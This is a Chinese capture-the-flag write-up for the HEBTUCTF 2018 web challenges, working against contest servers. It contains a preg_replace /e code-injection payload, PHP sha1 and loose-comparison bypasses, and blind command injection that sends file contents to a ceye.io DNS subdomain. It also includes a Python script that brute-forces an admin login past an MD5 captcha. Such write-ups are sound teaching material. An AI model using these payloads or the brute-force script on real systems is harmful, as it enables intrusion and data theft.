HEBTUCTF


title: HEBTUCTF2018-WEB-WP
date: 2018-11-18 18:00:13
tags: [Writeup,ctf]


HEBTUCTF

web1-qiandao

打开题目链接就直接有flag

hi,欢迎来到河北师范大学信息安全挑战赛

本题,将告诉你如何正确提交答案。

本题的答案为:flag{welcome_to_HEBTU}

请将以上答案提交至参赛平台,即视为答对本题。

web2-qiandao2

题述:签到爽不爽?开不开心,拿分数拿的happy不happy。 http://47.94.129.246:2132/qiandao2/ 来吧,再签一个。

打开题随便提交一串字符,发现弹出个框

mark

让提交HEBTUCTF2018,所以我们现在提交这个会发现前端做了限制,输入的最大长度为10,然而HEBTUCTF2018为12个字符,直接修改前端js,然后提交HEBTUCTF2018,拿到flag

mark
HEBTUCTF{Qi4n_Da0_cH3n9_g0n9}

web3-2048_easy

题述:小火汁,听说你打游戏超厉害,你玩到10240分我就给你flag http://47.94.129.246:2132/2048/2048.html p.s. 答案格式 flag{.+}

打开题目链接是个2048的游戏,我们看一下源码,发现加载了很多js,我们看一下这些js,发现在main2048.js里面发现赢了的话会调用一个gamewin()的函数,gamewin()函数如下

function gamewin(){
    ゚ω゚ノ= /`m´)ノ ~┻━┻   //*´∇`*/ ['_']; o=(゚ー゚)  =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
}

这个是aaencode加密,我们解密得到两个flag

alert('flag{2O48_1s_fun}');
console.log('HEBTUCTF{Aaenc0de_1s_FuN}');

233333这两个分别是两个题的flag,第一个是这个题的flag,第二个是2048_brain_hole的flag

flag{2O48_1s_fun}

这个题也可以直接在控制台调用gamewin()函数,然后可以弹出flag{2O48_1s_fun},然后控制台打印HEBTUCTF{Aaenc0de_1s_FuN}

然后,其实这个题还有一种拿到flag的方法,main2048.js里面有如下代码

function isgamewin(){
    if(score>10240) {
        gamewin();
        swal({
            title: '恭喜你,成功通关',
            text: '2秒后自动关闭',
            timer: 2000
        })

    }
    
}

我们可以在控制台执行score=10241也可以拿到flag(只要那个数比10240大就行)

web4-2048_brain_hole

题述:啥,你玩到10240分了?那你也拿不到我这道题的分数。 http://47.94.129.246:2132/2048/2048.html p.s. 答案格式 HEBTUCTF{.+}

和web3是同一个题,提交第二个flag就可以了23333

web5-简单的命令执行

题述:来吧,相信你可以的。 http://47.94.129.246:2280/

打开题目链接之后如下


看到这里我们我们可以知道他考的是 preg_replace /e模式下的代码执行问题,可以参考下面的一个文章

慎用preg_replace危险的/e修饰符

然后这个题post过去h=123{${phpinfo()}}123可以成功读取phpinfo界面,现在我们命令执行列目录然后读文件拿到flag,好吧,这个题直接列目录出来的就flag

mark
HEBTU{pr3g_repl@ce_Fun!}

web6-phpisbest

key==$key) {
            echo $flag;
        }    
        else die('还差一点就拿到flag了');
    }

?>

这个题我们要传过去三个参数,首先我们要绕过第一个限制$a != $b && sha1($a)===sha1($b),这里利用sha1()函数的漏洞。把这两个字段构造成数组,如a[]=q&b[]=w,这样在第一处判断是两数组确实是不同的,但在第二处判断是由于sha1()函数无法处理数组类型,将报错并返回false,if条件成立,绕过第一个限制

    if ($a != $b && sha1($a)===sha1($b)) {
        $good = true;
    }

现在绕第二个限制。传过去的key先删除反斜杠然后再对JSON格式的字符串进行编码,转换为PHP变量,然后赋给$message。然后 $message->key==$key利用php弱类型去绕过。

if ($good && isset($_GET['key'])){
        $message = json_decode(stripslashes($_GET['key']));
        if ($message->key==$key) {
            echo $flag;
        }    
        else die('还差一点就拿到flag了');
    }

最后payload如下http://47.94.129.246:2132/phpisbest/?a[]=1&b[]=2&key={"key":0}

HEBTUCTF{PhP_1s_7he_beSt_L4an9uage}

web7-ping

题述:小x同学找到了一个大黑阔的工具,这个工具你会使用么? http://47.94.129.246:2180/

这个题测试几个ip会知道没有回显,emmm盲打,由于我服务器停了,所以我用的ceye(每个用户,有唯一标识符代码和唯一子域值)做的,来吧,开始命令执行,直接ls会有问题,然后用sed命令逐行处理文件,然后payload如下

ip=`ls|sed -n "1p"`.ip.port.标识符.ceye.io
mark

知道flag在flaaaaag.php文件中,然后去cat他(直接cat不行,我们还是用sed命令逐行处理文件),post过去的payload如下

ip=`cat flaaaaag.php | sed -n "2p"`.ip.port.标识符.ceye.io
mark

最后拿到flag

HEBTUCTF{Bl1Nd_RC3_1s_h4rD}

web8-baopo

题述:小x同学找到了HEBTU的后台管理,可是他登录不上去,你可以帮帮他么?
http://47.94.129.246:2132/baopo
p.s. 答案格式 HEBTUCTF{.+}

打开链接是个后台管理系统,看一下源码里面有个hint:``,那爆破没跑了,不过还有个md5的验证码

mark
# -*- coding: utf-8 -*-
import requests
import re
import hashlib
from bs4 import BeautifulSoup

#header,抓一个包
headers={
'Host':'47.94.129.246:2132',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding':'gzip, deflate',
'Referer':'http://47.94.129.246:2132/baopo/',
'Connection':'keep-alive',
'Cookie':'PHPSESSID=gdrequp9nir7khu8d9ja4e36t5',
'Upgrade-Insecure-Requests':'1'
}

for mima in range(999):
    #获取页面验证码
    url="http://47.94.129.246:2132/baopo/"
    req=requests.get(url=url,headers=headers)
    soup=BeautifulSoup(req.text,'html.parser')
    yzm=re.findall('[0-9a-f]{5}',soup.text)[0]
    #print yzm

   #验证码爆破
    for yzm_bp in range(100000):
        if hashlib.md5(str(yzm_bp)).hexdigest()[0:5]==yzm:
            #print yzm_bp
            break

    url='http://47.94.129.246:2132/baopo/index.php?username=admin&password={0}&randcode={1}'.format(mima,yzm_bp)
    request=requests.get(url=url,headers=headers)
    request.encoding='utf-8'
    #print request.text
    #print mima
    if "HEBTUCTF" in request.text:
        print request.text
        break

mark

跑脚本拿到密码flag

HEBTUCTF{Bru7e_f0rC3_233}

你可能感兴趣的:(HEBTUCTF)